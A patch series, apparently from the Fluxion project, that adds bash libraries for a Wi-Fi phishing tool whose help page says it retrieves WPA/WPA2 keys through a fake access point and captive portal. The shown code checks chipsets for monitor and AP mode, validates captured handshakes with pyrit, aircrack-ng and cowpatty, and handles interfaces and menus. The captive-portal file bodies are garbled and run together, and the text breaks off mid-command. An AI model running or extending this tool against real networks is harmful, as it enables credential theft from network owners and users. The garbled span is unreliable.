-n "Test: " +if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &>/dev/null; then echo "XServer/XTerm success!" +else + echo -e "\033[31m XServer/XTerm failure!\033[0m" +fi +echo -ne "\n\n" + +echo "$HEADER_SIZE HostAPD Info" +hostapd -v +echo "Path: $(ls -L $(which hostapd))" +echo -ne "\n\n" + +echo "$HEADER_SIZE Aircrack-ng Info" +aircrack-ng -H | head -n 4 +echo -ne "\n" + +echo "$HEADER_SIZE Pyrit Info" +scapyver=$(python2 -c "import scapy; print(scapy.VERSION)") +pyrit | head -n 3 +echo "**Scapy Version:** ${scapyver}" + +if [[ "$scapyver" != 2.3.? ]]; then + echo -e "\033[31mWarning: Pyrit has been reported to be incompatible with scapy version 2.4.0 and above. Consult the wiki for further information. This should not affect you, if you don't choose to use pyrit in the script.\033[0m" +fi + +echo -ne "\n" + +# System info +echo "$HEADER_SIZE System Info" +if [ -r "/proc/version" ]; then + echo "**Chipset:** $(cat /proc/version)" +else + echo "**Chipset:** $(uname -r)" +fi + +echo -ne "\n" +echo "$HEADER_SIZE Chipset" +chipset=$(airmon-ng | grep $1 | awk '{print $3}') + +echo "Chipset: $chipset" +check_chipset $chipset diff --git a/scripts/preferences.sh b/scripts/preferences.sh new file mode 100755 index 0000000..5d2674c --- /dev/null +++ b/scripts/preferences.sh @@ -0,0 +1,6 @@ +#!/usr/bin/env bash + +# export FLUXIONAuto=1 +# export FLUXIONDebug=1 +# export FLUXIONWIKillProcesses=1 +# export FLUXIONWIReloadDriver=1 From ffd7c1e9bb57b12579355137600e92630fc26436 Mon Sep 17 00:00:00 2001 From: deltaxflux Date: Fri, 3 Aug 2018 20:56:15 +0200 Subject: [PATCH 02/26] Push latest files --- .gitignore | 2 - attacks/Captive Portal/lib/authenticator.php | 67 ++++ attacks/Captive Portal/lib/check.php | 8 + .../Apple/hotspot-detect.html | 2 + .../connectivity responses/Apple/index.php | 2 + .../connectivity responses/Google/blank.html | 0 .../Google/generate_204.php | 2 + .../connectivity responses/Google/index.html | 0 attacks/Captive Portal/lib/update.php | 9 + fluxion.sh | 4 +- lib/ArrayUtils.sh | 30 ++ lib/ChipsetUtils.sh | 57 ++++ lib/ColorUtils.sh | 69 +++++ lib/FormatUtils.sh | 193 ++++++++++++ lib/HashUtils.sh | 95 ++++++ lib/HelpUtils.sh | 96 ++++++ lib/IOUtils.sh | 149 +++++++++ lib/InterfaceUtils.sh | 182 +++++++++++ lib/SandboxUtils.sh | 37 +++ lib/ap/airbase-ng.sh | 88 ++++++ lib/ap/hostapd.sh | 98 ++++++ lib/installer/InstallerUtils.sh | 293 ++++++++++++++++++ lib/installer/managers/apt.sh | 46 +++ lib/installer/managers/emerge.sh | 23 ++ lib/installer/managers/pacman.sh | 31 ++ lib/installer/managers/yum.sh | 23 ++ lib/installer/managers/zypp.sh | 23 ++ 27 files changed, 1625 insertions(+), 4 deletions(-) create mode 100644 attacks/Captive Portal/lib/authenticator.php create mode 100644 attacks/Captive Portal/lib/check.php create mode 100644 attacks/Captive Portal/lib/connectivity responses/Apple/hotspot-detect.html create mode 100644 attacks/Captive Portal/lib/connectivity responses/Apple/index.php create mode 100644 attacks/Captive Portal/lib/connectivity responses/Google/blank.html create mode 100644 attacks/Captive Portal/lib/connectivity responses/Google/generate_204.php create mode 100644 attacks/Captive Portal/lib/connectivity responses/Google/index.html create mode 100644 attacks/Captive Portal/lib/update.php create mode 100755 lib/ArrayUtils.sh create mode 100755 lib/ChipsetUtils.sh create mode 100755 lib/ColorUtils.sh create mode 100755 lib/FormatUtils.sh create mode 100755 lib/HashUtils.sh create mode 100755 lib/HelpUtils.sh create mode 100755 lib/IOUtils.sh create mode 100755 lib/InterfaceUtils.sh create mode 100755 lib/SandboxUtils.sh create mode 100755 lib/ap/airbase-ng.sh create mode 100755 lib/ap/hostapd.sh create mode 100755 lib/installer/InstallerUtils.sh create mode 100755 lib/installer/managers/apt.sh create mode 100755 lib/installer/managers/emerge.sh create mode 100755 lib/installer/managers/pacman.sh create mode 100755 lib/installer/managers/yum.sh create mode 100755 lib/installer/managers/zypp.sh diff --git a/.gitignore b/.gitignore index 90dc172..6748f33 100644 --- a/.gitignore +++ b/.gitignore @@ -68,8 +68,6 @@ dist/ downloads/ eggs/ .eggs/ -lib/ -lib64/ parts/ sdist/ var/ diff --git a/attacks/Captive Portal/lib/authenticator.php b/attacks/Captive Portal/lib/authenticator.php new file mode 100644 index 0000000..885ae90 --- /dev/null +++ b/attacks/Captive Portal/lib/authenticator.php @@ -0,0 +1,67 @@ +SuccessSuccess + diff --git a/attacks/Captive Portal/lib/connectivity responses/Apple/index.php b/attacks/Captive Portal/lib/connectivity responses/Apple/index.php new file mode 100644 index 0000000..bc86108 --- /dev/null +++ b/attacks/Captive Portal/lib/connectivity responses/Apple/index.php @@ -0,0 +1,2 @@ + ${array[@]} (replaced!) + for __array_contains__item in "${!1}"; do + [[ "$__array_contains__item" == "$2" ]] && return 0 + done + + return 1 # Not found +} + +# FLUXSCRIPT END diff --git a/lib/ChipsetUtils.sh b/lib/ChipsetUtils.sh new file mode 100755 index 0000000..6d2a89a --- /dev/null +++ b/lib/ChipsetUtils.sh @@ -0,0 +1,57 @@ +#!/usr/bin/env bash + +# ChipsetUtils: check if chipset is supported +check_chipset() { + if [ "$1" == "" ];then printf "\033[31mInvalid input, chipset appears invalid\033[0m\n"; exit 1;fi + + # =================== < CONFIG > =================== + if [ -d "misc" ];then + readonly local CHIPSET_LIST="misc/devices.xml" # chipset file list + elif [ -d "../misc" ];then + readonly local CHIPSET_LIST="../misc/devices.xml" # chipset file list + else + echo -e "\033[31Can't find required ressources\033[0m" + fi + local SUPPORT_AP="" # check if chipset support ap mode + local SUPPORT_MO="" # check if chipset support monitor mode + # =================== < CONFIG > =================== + + if [ ! -f $CHIPSET_LIST ];then + echo "Can't open file" + fi + + local line=$(cat $CHIPSET_LIST | grep -n $1 | cut -d ":" -f1 | head -n 1) # get current position of chipset + local length=$(wc -l $CHIPSET_LIST | awk '{print $1}') + if [ "$line" == "" ];then printf "\033[31mChipset is not in list\033[0m\n";exit 1;fi # Catch if chipset is not present + + local cout=$line + local i=$cout + while true;do + local data=$(cat $CHIPSET_LIST | sed -n -e "${cout}p") + local iden=$(echo $data | cut -d ">" -f1 | cut -d "<" -f2) + local row=$(echo $data | cut -d ">" -f2 | cut -d "<" -f1) + + if [ "$iden" == "AP" ];then + case $row in + y) echo -e "\033[32mChipset support ap mode\033[0m";SUPPORT_AP=true;; + n) echo -e "\033[31mChipset doesn't support ap mode\033[0m";SUPPORT_AP=false;; + ?) echo -e "\033[33mNo information if chipset support ap mode\033[0m";SUPPORT_AP=unknown;; + esac + fi + + if [ "$iden" == "Monitor" ];then + case $row in + y) echo -e "\033[32mChipset support monitor mode\033[0m"; SUPPORT_MO=true;; + n) echo -e "\033[31mChipset doesn't support monitor mode\033[0m";SUPPORT_MO=false;; + ?) echo -e "\033[33mNo information if chipset support monitor mode\033[0m";SUPPORT_MO=unknown; + esac + fi + + if [ "$SUPPORT_MO" == false -a "$SUPPORT_MO" == true ] && [ "$SUPPORT_AP4" == false -a "$SUPPORT_AP" == true ]; then break; fi + + cout=$(echo $(($cout+1))) + if [ $cout -gt $length ] || [ "$cout" -eq $(echo $(($i+10))) ];then echo -e "\033[33mDon't reseve all required information\033[0m";break ;fi # Catch out of range + done + + if [ "$SUPPORT_AP" == true ] && [ "$SUPPORT_MO" == true ]; then return 0; else return 1;fi +} diff --git a/lib/ColorUtils.sh b/lib/ColorUtils.sh new file mode 100755 index 0000000..891bd86 --- /dev/null +++ b/lib/ColorUtils.sh @@ -0,0 +1,69 @@ +#!/usr/bin/env bash + +if [ "$ColorUtilsVersion" ]; then return 0; fi +readonly ColorUtilsVersion="1.0" + +################################# < Shell Color Codes > ################################ + +# Regular Text +readonly CRed="\e[0;31m" +readonly CGrn="\e[0;32m" +readonly CYel="\e[0;33m" +readonly CBlu="\e[0;34m" +readonly CPrp="\e[0;35m" +readonly CCyn="\e[0;36m" +readonly CGry="\e[0;37m" +readonly CWht="\e[0;37m" +readonly CClr="\e[0m" + +# [S] - Strong text (bold) +readonly CSRed="\e[1;31m" +readonly CSGrn="\e[1;32m" +readonly CSYel="\e[1;33m" +readonly CSBlu="\e[1;34m" +readonly CSPrp="\e[1;35m" +readonly CSCyn="\e[1;36m" +readonly CSGry="\e[1;37m" +readonly CSWht="\e[1;37m" + +# [D] - Dark text +readonly CDRed="\e[2;31m" +readonly CDGrn="\e[2;32m" +readonly CDYel="\e[2;33m" +readonly CDBlu="\e[2;34m" +readonly CDPrp="\e[2;35m" +readonly CDCyn="\e[2;36m" +readonly CDGry="\e[2;37m" +readonly CDWht="\e[2;37m" + +# [I] Italicized text +readonly CIRed="\e[3;31m" +readonly CIGrn="\e[3;32m" +readonly CIYel="\e[3;33m" +readonly CIBlu="\e[3;34m" +readonly CIPrp="\e[3;35m" +readonly CICyn="\e[3;36m" +readonly CIGry="\e[3;37m" +readonly CIWht="\e[3;37m" + +# [U] - Underlined text +readonly CURed="\e[4;31m" +readonly CUGrn="\e[4;32m" +readonly CUYel="\e[4;33m" +readonly CUBlu="\e[4;34m" +readonly CUPrp="\e[4;35m" +readonly CUCyn="\e[4;36m" +readonly CUGry="\e[4;37m" +readonly CUWht="\e[4;37m" + +# [B] - Blinking text +readonly CBRed="\e[5;31m" +readonly CBGrn="\e[5;32m" +readonly CBYel="\e[5;33m" +readonly CBBlu="\e[5;34m" +readonly CBPrp="\e[5;35m" +readonly CBCyn="\e[5;36m" +readonly CBGry="\e[5;37m" +readonly CBWht="\e[5;37m" + +# FLUXSCRIPT END diff --git a/lib/FormatUtils.sh b/lib/FormatUtils.sh new file mode 100755 index 0000000..9fa2bb3 --- /dev/null +++ b/lib/FormatUtils.sh @@ -0,0 +1,193 @@ +#!/usr/bin/env bash + +if [ "$FormatUtilsVersion" ]; then return 0; fi +readonly FormatUtilsVersion="1.0" + +FormatTabLength=8 +FormatValidSpecifiers='%([+-]?([0-9]+|\*)?(\.([0-9]+|\*))?)?[bqdiouxXfeEgGcsnaA]' + +# This should be relocated (here temporarily) +tabs -$FormatTabLength # Set tab width to var + +# This function strips (some) invisible characters. +# It only strips those needed by fluxion, currently. +# Parameters: $1 - format +function format_strip_invisibles() { + # This function currently only strips the following: + # Color escape sequences, & control characters + FormatStripInvisibles=$(echo "$1" | sed -r 's/\\(e\[([0-9]*;?[0-9]+)m|(t|n))//g') +} + +# This function replaces all invisible characters +# with a specifier of their corresponding length. +# Parameters: $1 - format +function format_expand_invisibles() { + FormatExpandInvisibles=$(echo "$1" | sed -r 's/\\(e\[([0-9]*;?[0-9]+)m|n)/%0s/g; s/\\t/%'"$FormatTabLength"'s/g') +} + +# This function lists all operators in format. +# Parameters: $1 - format +function format_list_specifiers() { + # Special specifier also included (with length value as '*'). + FormatListSpecifiers=($(echo "$1" | grep -oP "$FormatValidSpecifiers")) +} + +# This function calculates the dynamic specifier count in format. +# Parameters: $1 - format [$2 - specifier array] +function format_calculate_dynamics_count() { + local __format_calculate_dynamics_count__specifiers=("${!2}") + + if [ ! "$2" ]; then + format_list_specifiers "$1" + __format_calculate_dynamics_count__specifiers=("${FormatListSpecifiers[@]}") + fi + + FormatCalculateDynamicsCount=0 + local __format_calculate_dynamics_count__specifier + for __format_calculate_dynamics_count__specifier in "${__format_calculate_dynamics_count__specifiers[@]}"; do + if echo "$__format_calculate_dynamics_count__specifier" | grep '\*' >/dev/null 2>&1; then ((FormatCalculateDynamicsCount++)) + fi + done +} + +# This function calculates total length of statics in format. +# Statics are all specifiers in format with a fixed size. +# Parameters: $1 - format [$2 - specifier array] +function format_calculate_statics_length() { + local __format_calculate_statics_length__specifiers=("${!2}") + + if [ ! "$2" ]; then + echo "format_calculate_statics_length missing \$2" + format_list_specifiers "$1" + __format_calculate_statics_length__specifiers=("${FormatListSpecifiers[@]}") + fi + FormatCalculateStaticsLength=$(echo "${__format_calculate_statics_length__specifiers[@]}" | sed -r 's/\.[0-9]+s/s/g' | grep -oP '\d+' | awk 'BEGIN {s=0} {s+=$0} END {print s}') +} + +# This function calculates total length of literals in format. +# Literals are all characters in format printed literally. +# Parameters: $1 - format [$2 - processed format [$3 - specifier array]] +function format_calculate_literals_length() { + local __format_calculate_literals_length__normalizedFormat="$(echo "$2" | sed -r 's/%%|\*\*/X/g')" + local __format_calculate_literals_length__specifiers=("${!3}") + + if [ ! "$2" ]; then + echo "format_calculate_literals_length missing \$2" + format_strip_invisibles "$1" + __format_calculate_literals_length__normalizedFormat="$(echo "$FormatStripInvisibles" | sed -r 's/%%|\*\*/X/g')" + fi + + if [ ! "$3" ]; then + echo "format_calculate_literals_length missing \$3" + format_list_specifiers "$1" + __format_calculate_literals_length__specifiers=("${FormatListSpecifiers[@]}") + fi + + FormatCalculateLiteralsLength=$((${#__format_calculate_literals_length__normalizedFormat} - ($(echo "${__format_calculate_literals_length__specifiers[@]}" | wc -m) - ${#__format_calculate_literals_length__specifiers[@]}))) +} + +# This function calculates the total length of statics & literals in format. +# Parameters: $1 - format [$2 - statics length [$3 - literals length]] +function format_calculate_length() { + local __format_calculate_length__staticsLength=$2 + local __format_calculate_length__literalsLength=$3 + + if [ ! "$2" ]; then + #echo "format_calculate_length missing \$2" + format_expand_invisibles "$1" + format_list_specifiers "$FormatExpandInvisibles" + format_calculate_statics_length X FormatListSpecifiers[@] + __format_calculate_length__staticsLength=$FormatCalculateStaticsLength + fi + + if [ ! "$3" ]; then + if [ "$2" ]; then + format_expand_invisibles "$1" + format_list_specifiers "$FormatExpandInvisibles" + fi + #echo "format_calculate_length missing \$3" + format_calculate_literals_length X "$FormatExpandInvisibles" FormatListSpecifiers[@] + __format_calculate_length__literalsLength=$FormatCalculateLiteralsLength + fi + + FormatCalculateLength=$((__format_calculate_length__staticsLength + __format_calculate_length__literalsLength)) +} + +# This function calculates total length of dynamics in format. +# Dynamics are all asterisk-containing specifiers in format. +# Parameters: $1 - format [$2 - format length ] +function format_calculate_dynamics_length() { + local __format_calculate_dynamics_length__formatLength=$2 + + if [ ! "$2" ]; then + echo "format_calculate_dynamics_length missing \$2" + format_calculate_length "$1" + __format_calculate_dynamics_length__formatLength=$FormatCalculateLength + fi + + FormatCalculateDynamicsLength=$(($(tput cols) - $__format_calculate_dynamics_length__formatLength)) +} + +# This function calculates the size of individual dynamics in format. +# Parameters: $1 - format [$2 - dynamics length [$3 - dynamics count]] +function format_calculate_autosize_length() { + local __format_calculate_autosize_length__dynamicsLength=$2 + local __format_calculate_autosize_length__dynamicsCount=$3 + + if [ ! "$2" ]; then + format_expand_invisibles "$1" + format_list_specifiers "$FormatExpandInvisibles" + format_calculate_statics_length X FormatListSpecifiers[@] + format_calculate_literals_length X "$FormatExpandInvisibles" FormatListSpecifiers[@] + format_calculate_length X "$FormatCalculateStaticsLength" "$FormatCalculateLiteralsLength" + format_calculate_dynamics_length X "$FormatCalculateLength" + __format_calculate_autosize_length__dynamicsLength=$FormatCalculateDynamicsLength + fi + + if [ ! "$3" ]; then + if [ "$2" ]; then format_list_specifiers "$1" + fi + format_calculate_dynamics_count X FormatListSpecifiers[@] + __format_calculate_autosize_length__dynamicsCount=$FormatCalculateDynamicsCount + fi + + if [ $__format_calculate_autosize_length__dynamicsCount -ne 0 -a \ + $__format_calculate_autosize_length__dynamicsLength -ge 0 ]; then FormatCalculateAutosizeLength=$((__format_calculate_autosize_length__dynamicsLength / __format_calculate_autosize_length__dynamicsCount)) + else FormatCalculateAutosizeLength=0 + fi +} + +# This function replaces dynamics' asterisks with their length, in format. +# Parameters: $1 - format [$2 - dynamics length [$3 - dynamics count]] +# Warning: Strings containing '\n' result in undefined behavior (not supported). +# Warning: Strings containing [0-9]+.* result in undefined behavior. +# Notice: Single asterisks are auto-sized, doubles are replaced "**" -> "*". +function format_apply_autosize() { + format_calculate_autosize_length "${@}" # Pass all arguments on. + FormatApplyAutosize=$1 + let format_apply_autosize_overcount=$FormatCalculateDynamicsLength%$FormatCalculateDynamicsCount + if [ $format_apply_autosize_overcount -gt 0 ]; then # If we've got left-over, fill it left-to-right. + let format_apply_autosize_oversize=$FormatCalculateAutosizeLength+1 + FormatApplyAutosize=$(echo "$FormatApplyAutosize" | sed -r 's/(^|[^*])\*(\.\*|[^*]|$)/\1'$format_apply_autosize_oversize'\2/'$format_apply_autosize_overcount'; s/([0-9]+\.)\*/\1'$format_apply_autosize_oversize'/'$format_apply_autosize_overcount) + fi + FormatApplyAutosize=$(echo "$FormatApplyAutosize" | sed -r 's/\*\.\*/'$FormatCalculateAutosizeLength'.'$FormatCalculateAutosizeLength'/g; s/(^|[^*])\*([^*]|$)/\1'$FormatCalculateAutosizeLength'\2/g; s/\*\*/*/g') +} + +# This function centers literal text. +# Parameters: $1 - literals +function format_center_literals() { + format_strip_invisibles "$1" + local __format_center_literals__text_length=${#FormatStripInvisibles} + format_apply_autosize "%*s%${__format_center_literals__text_length}s%*s" + FormatCenterLiterals=$(printf "$FormatApplyAutosize" "" "$1" "") +} + +# This function centers statics in format. +# Parameters: $1 - format +function format_center_dynamic() { + format_calculate_length "$1" + format_calculate_dynamics_length X $FormatCalculateLength + format_apply_autosize "%*s%${FormatCalculateLength}s%*s" $FormatCalculateDynamicsLength 2 + # Temporary, I'll find a better solution later (too tired). + FormatCenterDynamic=$(printf "$(echo "$FormatApplyAutosize" | sed -r 's/%[0-9]+s/%s/2')" "" "$1" "") +} diff --git a/lib/HashUtils.sh b/lib/HashUtils.sh new file mode 100755 index 0000000..a5e94f8 --- /dev/null +++ b/lib/HashUtils.sh @@ -0,0 +1,95 @@ +#!/usr/bin/env bash + +if [ "$HashUtilsVersion" ]; then return 0; fi +readonly HashUtilsVersion="1.0" + +HashOutputDevice="/dev/stdout" + +function hash_check_handshake() { + local -r handshakeVerifier=$1 + local -r handshakePath=$2 + local -r handshakeAPSSID=$3 + local -r handshakeAPMAC=$4 + + echo "Verifier Parameters: " > $HashOutputDevice + echo " Verifier: $handshakeVerifier" > $HashOutputDevice + echo "Hash Path: $handshakePath" > $HashOutputDevice + echo "Hash SSID: \"$handshakeAPSSID\"" > $HashOutputDevice + echo " Hash MAC: $handshakeAPMAC" > $HashOutputDevice + + local analysis # Since it's being used in all relevant instances. + + case "$handshakeVerifier" in + "pyrit") + readarray analysis < <(pyrit -r "$handshakePath" analyze 2> $HashOutputDevice) + if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then + echo "Error: pyrit seems to be broken!" > $HashOutputDevice + return 1 + fi + + local hashMeta=$(echo "${analysis[@]}" | grep -F "AccessPoint ${handshakeAPMAC,,} ('$handshakeAPSSID')") + + if [ "$hashMeta" ]; then + local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}') + local hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_(SHA[0-9]+_AES|MD5_RC4)/{ print \$0 }") + else + echo "No valid hash meta was found for \"$handshakeAPSSID\"" > $HashOutputDevice + fi + ;; + "aircrack-ng") + readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice) + if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then + echo "Error: aircrack-ng seems to be broken!" > $HashOutputDevice + return 1 + fi + + local hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID") + ;; + "cowpatty") + readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice) + if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then + echo "Error: cowpatty (aircrack-ng) seems to be broken!" > $HashOutputDevice + return 1 + fi + + if echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -qF "$handshakeAPSSID"; then + local hashData=$(cowpatty -cr "$handshakePath") + fi + ;; + *) + echo "Invalid verifier, quitting!" > $HashOutputDevice + return 1 + ;; + esac + + if [ -z "$hashData" ]; then + echo "Handshake for $handshakeAPSSID ($handshakeAPMAC) is missing!" + return 1 + fi + + case "$handshakeVerifier" in + "pyrit") + if echo "$hashData" | grep -qF "good"; then + local -r hashResult=1 + fi ;; + + "aircrack-ng") + if echo "$hashData" | grep -qE "\([0-9]+ handshake\)"; then + local -r hashResult=1 + fi ;; + + "cowpatty") + if echo "$hashData" | grep -q "Collected all necessary data to mount crack against WPA2/PSK passphrase."; then + local -r hashResult=1 + fi ;; + esac + + if [ -z "$hashResult" ]; then + echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice + HASHCheckHandshake="invalid" + return 1 + else + echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice + HASHCheckHandshake="valid" + fi +} diff --git a/lib/HelpUtils.sh b/lib/HelpUtils.sh new file mode 100755 index 0000000..fb5b36d --- /dev/null +++ b/lib/HelpUtils.sh @@ -0,0 +1,96 @@ +#!/usr/bin/env bash + +fluxion_help(){ + echo " FLUXION(1) User Manuals FLUXION(1) + + + + NAME + fluxion - Fluxion is a security auditing and social-engineering + research tool + + SYNOPSIS + fluxion [-debug] [-l language ] attack ... + + DESCRIPTION + fluxion is a security auditing and social-engineering research tool. + It is a remake of linset by vk496 with (hopefully) less bugs and more + functionality. The script attempts to retrieve the WPA/WPA2 key from a + target access point by means of a social engineering (phising) attack. + It's compatible with the latest release of Kali (rolling). Fluxion's + attacks' setup is mostly manual, but experimental auto-mode handles + some of the attacks' setup parameters. + + OPTIONS + -v Print version number. + + --help Print help page and exit with 0. + + -m Run fluxion in manual mode instead of auto mode. + + -k Kill wireless connection if it is connected. + + -d Run fluxion in debug mode. + + -x Try to run fluxion with xterm terminals instead of tmux. + + -r Reload driver. + + -l + Define a certain language. + + -e + Select the target network based on the ESSID. + + -c + Indicate the channel(s) to listen to. + + -a + Define a certain attack. + + --ratio + Define the windows size. Bigger ratio -> smaller window size. + Default is 4. + + -b + Select the target network based on the access point MAC address. + + -j + Define a certain jamming interface. + + -a + Define a certain access point interface. + + FILES + /tmp/fluxspace/ + The system wide tmp directory. + $FLUXION/attacks/ + Folder where handshakes and passwords are stored in. + + ENVIRONMENT + FLUXIONAuto + Automatically run fluxion in auto mode if exported. + + FLUXIONDebug + Automatically run fluxion in debug mode if exported. + + FLUXIONWIKillProcesses + Automatically kill any interfering process(es). + + DIAGNOSTICS + Please checkout the other log files or use the debug mode. + + BUGS + Please report any bugs at: https://github.com/FluxionNetwork/flux- + ion/issues + + AUTHOR + Cyberfee, l3op, dlinkproto, vk496, MPX4132 + + SEE ALSO + aircrack-ng(8), + + + Linux MARCH 2018 FLUXION(1)" + +} diff --git a/lib/IOUtils.sh b/lib/IOUtils.sh new file mode 100755 index 0000000..49aad59 --- /dev/null +++ b/lib/IOUtils.sh @@ -0,0 +1,149 @@ +#!/usr/bin/env bash + +if [ "$IOUtilsVersion" ]; then return 0; fi +readonly IOUtilsVersion="1.0" + +if [ ! "$FLUXIONLibPath" ]; then return 1; fi + +IOUtilsHeader="[x] ================================ [x]" +IOUtilsQueryMark="[-] " +IOUtilsPrompt="[$USER@$HOSTNAME]> " + +if [ ! "$ArrayUtilsVersion" ]; then + source "$FLUXIONLibPath/ArrayUtils.sh" +fi + +io_input_choice() { + local __io_input_choice__choice + until [ ! -z "$__io_input_choice__choice" ]; do + echo -ne "$IOUtilsPrompt" + + local __io_input_choice__input + read __io_input_choice__input + + local __io_input_choice__choices + for __io_input_choice__choices in ${@}; do + array_contains $__io_input_choice__choices "$__io_input_choice__input" + if [ $? -eq 0 ]; then + __io_input_choice__choice="$__io_input_choice__input" + break + fi + done + done + + IOInputChoice=$__io_input_choice__choice +} + +io_dynamic_output() { + eval 'echo -ne "'${@}'"' +} + +io_input_enumerated_choice() { + local __io_input_enumerated_choice__choices=("${!1}") + local __io_input_enumerated_choice__indexes=($(seq ${#__io_input_numeric_choice__choices[@]})) + io_input_choice __io_input_enumerated_choice__indexes[@] + IOInputEnumeratedChoice=${__io_input_enumerated_choice__choices[$IOInputChoice]} +} + +# This function outputs formatted lines of fields. +# The function takes an output file (like stdout), +# a "printf format string," and a variable number +# of indirect-expansion passed arrays (reference). +# NOTICE: At least the first array must be passed! +# Example: /dev/stdout "%s is %s." name[@] mood[@] +io_output_format_fields() { + # Determine the amount of arguments passed. + local __io_output_format_fields__argument_count=${#@} + + # Load locally by indirect expansion, ${! ... }, + # and mangle the variable number argument arrays. + local __io_output_format_fields__i + for ((__io_output_format_fields__i = 3; __io_output_format_fields__i <= __io_output_format_fields__argument_count; __io_output_format_fields__i++)); do + eval "local __io_output_format_fields__field$__io_output_format_fields__i=(\"\${!$__io_output_format_fields__i}\")" + done + + # Determine the amount of records/lines to print. + # Notice at least the first array must be passed. + local __io_output_format_fields__record_count=${#__io_output_format_fields__field3[@]} + + for ((__io_output_format_fields__i = 0; __io_output_format_fields__i < __io_output_format_fields__record_count; __io_output_format_fields__i++)); do + local __io_output_format_fields__values="\"\${__io_output_format_fields__field"$( + seq -s "[$__io_output_format_fields__i]}\" \"\${__io_output_format_fields__field" 3 $__io_output_format_fields__argument_count + )"[$__io_output_format_fields__i]}\"" + eval "printf \"$2\" $__io_output_format_fields__values > $1" + done +} + +io_query_format_fields() { + # Assure we've got required parameters. + if [ ${#@} -lt 2 ]; then + return 1 + fi + + local __io_query_format_fields__argument_count=${#@} + + local __io_query_format_fields__query="$1" + local __io_query_format_fields__format="$2" + + # Load locally by indirect expansion, ${! ... }, + # and mangle the variable number argument arrays. + local __io_query_format_fields__i + for ((__io_query_format_fields__i = 3; __io_query_format_fields__i <= __io_query_format_fields__argument_count; __io_query_format_fields__i++)); do + eval "local __io_query_format_fields__f$__io_query_format_fields__i=(\"\${!$__io_query_format_fields__i}\")" + done + + local __io_query_format_fields__record_count=${#__io_query_format_fields__f3[@]} + local __io_query_format_fields__indexes=($(seq $__io_query_format_fields__record_count)) + + if [ ! -z "$1" ]; then + if [ "$(type -t $(echo -e "$IOUtilsHeader" | grep -vE '\s'))" = "function" ]; then $IOUtilsHeader + else echo -e "$IOUtilsHeader"; fi + + echo -e "$__io_query_format_fields__query" + echo + fi + + io_output_format_fields /dev/stdout "$__io_query_format_fields__format" __io_query_format_fields__indexes[@] ${@:3} + + echo + + io_input_choice __io_query_format_fields__indexes[@] + + IOQueryFormatFields=() + for ((__io_query_format_fields__i = 3; __io_query_format_fields__i <= __io_query_format_fields__argument_count; __io_query_format_fields__i++)); do + eval "IOQueryFormatFields[${#IOQueryFormatFields[@]}]=\${__io_query_format_fields__f$__io_query_format_fields__i[IOInputChoice - 1]}" + done +} + +io_query_choice() { + # Assure we've got required parameters. + if [ ${#@} -lt 2 ]; then + return 1 + fi + + __io_query_choice__query=$([ -z "$1" ] && echo -n "" || echo -ne "$FLUXIONVLine $1\n") + io_query_format_fields "$__io_query_choice__query" "\t$CRed[$CSYel%d$CClr$CRed]$CClr %b\n" $2 + + IOQueryChoice="${IOQueryFormatFields[0]}" +} + +io_query_file() { + if [ ${#@} -lt 2 ]; then + return 1 + fi + + local __io_query_file__options + + # List a line per line and redirect output. + # readarray __io_query_file__options < $2 + mapfile __io_query_file__options <$2 + + # Strip newline characters from array elements + __io_query_file__options=("${__io_query_file__options[@]/$'\n'/}") + + io_query_choice "$1" __io_query_file__options[@] + + IOQueryFile=$IOQueryChoice +} + +# FLUXSCRIPT END diff --git a/lib/InterfaceUtils.sh b/lib/InterfaceUtils.sh new file mode 100755 index 0000000..8ed1da8 --- /dev/null +++ b/lib/InterfaceUtils.sh @@ -0,0 +1,182 @@ +#!/usr/bin/env bash + +#if [ "$InterfaceUtilsVersion" ]; then return 0; fi +#readonly InterfaceUtilsVersion="1.0" + +# The methods used in this script are taken from airmon-ng. +# This is all thanks for the airmon-ng authors, thanks guys. +InterfaceUtilsOutputDevice="/dev/stdout" + +if [ -d /sys/bus/usb ] # && hash lsusb; + then InterfaceUSBBus=1 +fi + +if [ -d /sys/bus/pci -o -d /sys/bus/pci_express -o -d /proc/bus/pci ] # && hash lspci; + then InterfacePCIBus=1 +fi + +# Checks if the interface belongs to a physical device. +function interface_is_real() { + test -d /sys/class/net/$1/device + return $? +} + +# Checks if the interface belongs to a wireless device. +function interface_is_wireless() { + grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent + return $? +} + +# Returns an array of absolutely all interfaces. +# Notice: That includes interfaces such as the loopback interface. +function interface_list_all() { + InterfaceListAll=(/sys/class/net/*) + InterfaceListAll=("${InterfaceListAll[@]//\/sys\/class\/net\//}") +} + +# Returns an array of interfaces pertaining to a physical device. +function interface_list_real() { + InterfaceListReal=() + interface_list_all + local __interface_list_real__candidate + for __interface_list_real__candidate in "${InterfaceListAll[@]}"; do + if interface_is_real $__interface_list_real__candidate; then InterfaceListReal+=("$__interface_list_real__candidate") + fi + done +} + +# Returns an array of interfaces pertaining to a wireless device. +function interface_list_wireless() { + InterfaceListWireless=() + interface_list_all + local __interface_list_wireless__candidate + for __interface_list_wireless__candidate in "${InterfaceListAll[@]}"; do + if interface_is_wireless $__interface_list_wireless__candidate; then InterfaceListWireless+=("$__interface_list_wireless__candidate") + fi + done +} + +function interface_driver() { + InterfaceDriver=$(basename $(readlink /sys/class/net/$1/device/driver)) +} + +function interface_physical() { + if [ ! "$1" ]; then return 1; fi + + unset InterfacePhysical + + local -r interface_physical_path="/sys/class/net/$1/phy80211" + + if [ -d "$interface_physical_path" ]; then + if [ -r "$interface_physical_path/name" ]; then InterfacePhysical="$(cat "$interface_physical_path/name")" + fi + if [ ! "${InterfacePhysical// /}" ]; then InterfacePhysical="$(ls -l "$interface_physical_path" | sed 